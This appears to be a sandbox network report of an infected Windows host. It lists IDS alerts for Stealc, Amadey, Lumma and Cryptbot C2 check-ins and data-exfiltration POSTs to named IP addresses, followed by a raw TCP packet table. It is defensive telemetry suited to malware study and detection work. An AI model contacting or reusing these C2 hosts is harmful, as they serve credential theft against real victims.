2024-11-17T22:20:20.132995+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49704	185.215.113.206	80	TCP
2024-11-17T22:20:20.139645+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49704	TCP
2024-11-17T22:20:21.234653+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49704	185.215.113.206	80	TCP
2024-11-17T22:20:21.888503+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49704	185.215.113.206	80	TCP
2024-11-17T22:20:46.514058+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	60797	185.215.113.206	80	TCP
2024-11-17T22:20:49.913483+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	60797	185.215.113.206	80	TCP
2024-11-17T22:20:51.815115+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	60797	185.215.113.206	80	TCP
2024-11-17T22:20:52.840703+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	60797	185.215.113.206	80	TCP
2024-11-17T22:20:54.970451+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	60797	185.215.113.206	80	TCP
2024-11-17T22:20:55.532161+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	60797	185.215.113.206	80	TCP
2024-11-17T22:21:00.371157+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	60970	185.215.113.16	80	TCP
2024-11-17T22:21:16.712861+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	61053	185.215.113.43	80	TCP
2024-11-17T22:21:20.043028+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	61056	31.41.244.11	80	TCP
2024-11-17T22:21:29.275823+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	61055	TCP
2024-11-17T22:21:30.206590+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	61059	185.215.113.43	80	TCP
2024-11-17T22:21:31.126492+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	61060	185.215.113.16	80	TCP
2024-11-17T22:21:53.380236+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	61068	188.114.97.3	443	TCP
2024-11-17T22:21:53.654893+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	61069	185.215.113.43	80	TCP
2024-11-17T22:21:54.140713+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	61068	188.114.97.3	443	TCP
2024-11-17T22:21:54.140713+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	61068	188.114.97.3	443	TCP
2024-11-17T22:21:54.685306+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	61070	185.215.113.16	80	TCP
2024-11-17T22:21:55.105772+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	61071	188.114.97.3	443	TCP
2024-11-17T22:21:55.494492+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	61071	188.114.97.3	443	TCP
2024-11-17T22:21:55.494492+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	61071	188.114.97.3	443	TCP
2024-11-17T22:21:57.179884+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	61072	188.114.97.3	443	TCP
2024-11-17T22:21:58.725050+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	61072	188.114.97.3	443	TCP
2024-11-17T22:22:01.269035+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	61073	188.114.97.3	443	TCP
2024-11-17T22:22:02.750565+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	61074	185.215.113.43	80	TCP
2024-11-17T22:22:03.701881+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	61075	185.215.113.16	80	TCP
2024-11-17T22:22:05.124447+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	61076	188.114.97.3	443	TCP
2024-11-17T22:22:05.937647+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	61077	185.215.113.206	80	TCP
2024-11-17T22:22:07.502829+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	61081	188.114.97.3	443	TCP
2024-11-17T22:22:07.789733+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	61082	188.114.97.3	443	TCP
2024-11-17T22:22:09.380749+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	61081	188.114.97.3	443	TCP
2024-11-17T22:22:09.380749+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	61081	188.114.97.3	443	TCP
2024-11-17T22:22:11.234615+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	61084	188.114.97.3	443	TCP
2024-11-17T22:22:11.623857+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	61083	185.215.113.43	80	TCP
2024-11-17T22:22:11.928708+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	61084	188.114.97.3	443	TCP
2024-11-17T22:22:11.928708+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	61084	188.114.97.3	443	TCP
2024-11-17T22:22:12.646766+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	61085	185.215.113.16	80	TCP
2024-11-17T22:22:15.920319+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	61086	188.114.97.3	443	TCP
2024-11-17T22:22:16.493645+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	61087	188.114.97.3	443	TCP
2024-11-17T22:22:16.666328+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	61087	188.114.97.3	443	TCP
2024-11-17T22:22:19.143214+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	61088	185.215.113.43	80	TCP
2024-11-17T22:22:20.313249+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	61089	188.114.97.3	443	TCP
2024-11-17T22:22:21.676266+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	61090	185.215.113.206	80	TCP
2024-11-17T22:22:21.703662+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	61092	188.114.97.3	443	TCP
2024-11-17T22:22:47.246600+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	55113	188.114.97.3	443	TCP
2024-11-17T22:22:48.653893+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	55113	188.114.97.3	443	TCP
2024-11-17T22:22:48.653893+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	55113	188.114.97.3	443	TCP
2024-11-17T22:22:54.444159+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.7	55114	62.76.234.151	80	TCP
2024-11-17T22:22:54.826374+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	55115	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 22:20:08.935791016 CET	49675	443	192.168.2.7	104.98.116.138
Nov 17, 2024 22:20:08.935851097 CET	49674	443	192.168.2.7	104.98.116.138
Nov 17, 2024 22:20:09.013794899 CET	49672	443	192.168.2.7	104.98.116.138
Nov 17, 2024 22:20:10.952255011 CET	49677	443	192.168.2.7	20.50.201.200
Nov 17, 2024 22:20:11.326278925 CET	49677	443	192.168.2.7	20.50.201.200
Nov 17, 2024 22:20:12.076261044 CET	49677	443	192.168.2.7	20.50.201.200
Nov 17, 2024 22:20:13.576292992 CET	49677	443	192.168.2.7	20.50.201.200
Nov 17, 2024 22:20:16.126565933 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:16.126590967 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:16.126674891 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:16.127013922 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:16.127026081 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:16.560720921 CET	49677	443	192.168.2.7	20.50.201.200
Nov 17, 2024 22:20:16.882442951 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:16.882566929 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:16.886344910 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:16.886349916 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:16.886795998 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:16.896384954 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:16.939341068 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.145806074 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.145870924 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.145914078 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.145978928 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.145992041 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.146025896 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.146074057 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.264271975 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.264336109 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.264516115 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.264517069 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.264533997 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.264586926 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.384593964 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.384654999 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.384690046 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.384700060 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.384754896 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.384767056 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.501682043 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.501719952 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.501899004 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.501899004 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.501910925 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.502053976 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.620251894 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.620321035 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.620446920 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.620446920 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.620460987 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.621015072 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.739486933 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.739562035 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.739638090 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.739646912 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.739713907 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.739883900 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.857162952 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.857234955 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.857301950 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.857316971 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.857352018 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.857393026 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.975450039 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.975522041 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.975574017 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.975584030 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:17.975631952 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:17.975631952 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.019591093 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.019632101 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.019776106 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.019783974 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.019906044 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.167795897 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.167829990 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.167965889 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.167965889 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.167979956 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.168229103 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.219263077 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.219295979 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.219357014 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.219367981 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.219860077 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.331434011 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.331474066 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.335972071 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.335980892 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.339332104 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.362435102 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:18.367474079 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:18.367575884 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:18.368560076 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:18.373506069 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:18.419109106 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.419135094 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.419209957 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.419220924 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.419286966 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.419286966 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.450282097 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.450371981 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.450427055 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.450427055 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.457859039 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.457859039 CET	49703	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:18.457880974 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.457890034 CET	443	49703	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:18.545041084 CET	49674	443	192.168.2.7	104.98.116.138
Nov 17, 2024 22:20:18.545053959 CET	49675	443	192.168.2.7	104.98.116.138
Nov 17, 2024 22:20:18.623156071 CET	49672	443	192.168.2.7	104.98.116.138
Nov 17, 2024 22:20:19.240552902 CET	49705	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.240576982 CET	443	49705	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.240667105 CET	49705	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.242177963 CET	49706	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.242219925 CET	443	49706	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.242280960 CET	49706	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.245946884 CET	49707	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.245961905 CET	443	49707	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.246018887 CET	49707	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.247797012 CET	49708	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.247812986 CET	443	49708	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.247864962 CET	49708	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.249083996 CET	49705	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.249100924 CET	443	49705	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.249277115 CET	49706	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.249291897 CET	443	49706	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.249913931 CET	49707	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.249924898 CET	443	49707	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.250257969 CET	49708	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.250274897 CET	443	49708	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.251724958 CET	49709	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.251764059 CET	443	49709	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.251852036 CET	49709	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.252216101 CET	49709	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.252226114 CET	443	49709	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.273461103 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:19.273638010 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:19.276464939 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:19.281299114 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:19.566874981 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:19.566967010 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:19.568686008 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:19.573581934 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:19.849905014 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:19.849942923 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:19.849965096 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:19.849971056 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:19.850013971 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:19.850013971 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:19.851718903 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:19.856663942 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:19.981292009 CET	443	49707	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.981913090 CET	49707	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.981929064 CET	443	49707	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.982394934 CET	49707	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.982399940 CET	443	49707	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.986649036 CET	443	49709	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.986931086 CET	49709	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.986959934 CET	443	49709	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.987225056 CET	49709	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.987236023 CET	443	49709	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.989635944 CET	443	49706	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.989850044 CET	49706	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.989871025 CET	443	49706	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.990128040 CET	49706	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.990133047 CET	443	49706	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.991380930 CET	443	49708	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.991591930 CET	49708	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.991604090 CET	443	49708	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:19.991858959 CET	49708	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:19.991864920 CET	443	49708	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.001872063 CET	443	49705	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.002350092 CET	49705	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.002363920 CET	443	49705	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.002778053 CET	49705	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.002783060 CET	443	49705	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.116328001 CET	443	49709	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.116472960 CET	443	49709	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.116553068 CET	49709	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.116702080 CET	49709	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.116725922 CET	443	49709	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.116739988 CET	49709	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.116748095 CET	443	49709	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.119868040 CET	49710	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.119910002 CET	443	49710	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.119985104 CET	49710	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.120142937 CET	49710	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.120152950 CET	443	49710	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123133898 CET	443	49706	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123163939 CET	443	49706	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123219013 CET	49706	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.123249054 CET	443	49706	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123295069 CET	49706	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.123322010 CET	49706	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.123332024 CET	443	49706	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123341084 CET	443	49706	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123363972 CET	49706	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.123389006 CET	443	49706	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123526096 CET	443	49708	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123552084 CET	443	49708	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123594046 CET	49708	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.123605013 CET	443	49708	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123670101 CET	443	49708	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123673916 CET	49708	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.123692036 CET	443	49708	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123699903 CET	49708	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.123709917 CET	443	49708	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.123766899 CET	49708	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.123771906 CET	443	49708	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.125719070 CET	49711	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.125747919 CET	443	49711	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.125802994 CET	49712	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.125808954 CET	49711	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.125830889 CET	443	49712	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.125880957 CET	49712	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.125937939 CET	49711	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.125951052 CET	443	49711	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.126038074 CET	49712	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.126049042 CET	443	49712	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.130178928 CET	443	49707	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.131731987 CET	443	49707	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.131788015 CET	49707	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.131824017 CET	49707	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.131833076 CET	443	49707	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.131841898 CET	49707	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.131848097 CET	443	49707	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.132925034 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.132940054 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.132952929 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.132963896 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.132994890 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:20.133011103 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:20.133074045 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.133111954 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:20.133133888 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.133169889 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:20.133547068 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.133583069 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:20.133794069 CET	49713	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.133814096 CET	443	49713	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.133867025 CET	49713	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.134016037 CET	49713	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.134025097 CET	443	49713	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.134830952 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:20.135845900 CET	443	49705	13.107.246.45	192.168.2.7
